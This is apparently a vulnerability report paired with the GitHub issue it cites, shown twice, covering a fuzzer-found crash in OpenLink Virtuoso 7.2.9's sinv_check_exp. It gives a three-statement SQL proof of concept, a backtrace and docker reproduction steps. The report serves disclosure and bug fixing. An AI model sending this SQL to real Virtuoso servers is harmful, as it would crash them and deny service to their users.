An issue in the sinv_check_exp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE base_tbl (a int, b int);
CREATE VIEW rw_view1 AS SELECT * FROM base_tbl;
INSERT INTO rw_view1 VALUES (15);
```
backtrace:
```c
#0 0x788dc0 (sinv_check_exp+0x120)
#1 0x78a03d (sinv_sqlo_check_col_val+0xad)
#2 0x816d50 (sqlc_insert_view+0x330)
#3 0x6b7387 (sql_stmt_comp+0x987)
#4 0x6ba122 (sql_compile_1+0x1a62)
#5 0x7c8cd0 (stmt_set_query+0x340)
#6 0x7cabc2 (sf_sql_execute+0x922)
#7 0x7cbf4e (sf_sql_execute_w+0x17e)
#8 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#9 0xe1f01c (future_wrapper+0x3fc)
#10 0xe2691e (_thread_boot+0x11e)
#11 0x7fbc8904b609 (start_thread+0xd9)
#12 0x7fbc88e1b133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
virtuoso 7.2.9 crashed at sinv_check_exp
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : virtuoso 7.2.9 crashed at sinv_check_exp
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE base_tbl (a int, b int);
CREATE VIEW rw_view1 AS SELECT * FROM base_tbl;
INSERT INTO rw_view1 VALUES (15);
```
backtrace:
```c
#0 0x788dc0 (sinv_check_exp+0x120)
#1 0x78a03d (sinv_sqlo_check_col_val+0xad)
#2 0x816d50 (sqlc_insert_view+0x330)
#3 0x6b7387 (sql_stmt_comp+0x987)
#4 0x6ba122 (sql_compile_1+0x1a62)
#5 0x7c8cd0 (stmt_set_query+0x340)
#6 0x7cabc2 (sf_sql_execute+0x922)
#7 0x7cbf4e (sf_sql_execute_w+0x17e)
#8 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#9 0xe1f01c (future_wrapper+0x3fc)
#10 0xe2691e (_thread_boot+0x11e)
#11 0x7fbc8904b609 (start_thread+0xd9)
#12 0x7fbc88e1b133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
--- end body ---
